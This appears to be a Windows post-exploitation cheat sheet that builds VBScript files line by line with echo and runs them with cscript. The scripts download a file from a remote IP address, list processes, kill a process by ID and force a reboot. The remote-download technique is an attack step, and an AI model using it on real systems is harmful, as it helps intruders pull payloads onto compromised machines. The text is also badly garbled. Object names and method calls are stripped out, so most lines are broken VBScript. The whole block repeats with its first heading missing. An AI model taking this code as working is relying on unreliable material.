1. File download (no echo)
echo iLocal = LCase((1)) >
echo iRemote = LCase((0)) >>
echo Set xPost = CreateObject("") >>
echo "GET",iRemote,0 >>
echo () >>
echo Set sGet = CreateObject("") >>
echo = 3 >>
echo = 1 >>
echo () >>
echo () >>
echo iLocal,2 >>
Usage: cscript http://111.111.111.111/
2. List the process
@echo for each ps in getobject _ >
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>
@echo ^&vbtab^&^&vbtab^&:next >>
Usage: cscript
3. Terminate the process
@echo for each ps in getobject _ >
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>
@echo if =(0) then :end if:next >>
Usage: cscript pid
4. Restart the system
@echo for each os in getobject _ >
@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>
@echo os.win32shutdown(2):next >>
Usage: cscript
echo iLocal = LCase((1)) >
echo iRemote = LCase((0)) >>
echo Set xPost = CreateObject("") >>
echo "GET",iRemote,0 >>
echo () >>
echo Set sGet = CreateObject("") >>
echo = 3 >>
echo = 1 >>
echo () >>
echo () >>
echo iLocal,2 >>
Usage: cscript http://111.111.111.111/
2. List the process
@echo for each ps in getobject _ >
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>
@echo ^&vbtab^&^&vbtab^&:next >>
Usage: cscript
3. Terminate the process
@echo for each ps in getobject _ >
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>
@echo if =(0) then :end if:next >>
Usage: cscript pid
4. Restart the system
@echo for each os in getobject _ >
@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>
@echo os.win32shutdown(2):next >>
Usage: cscript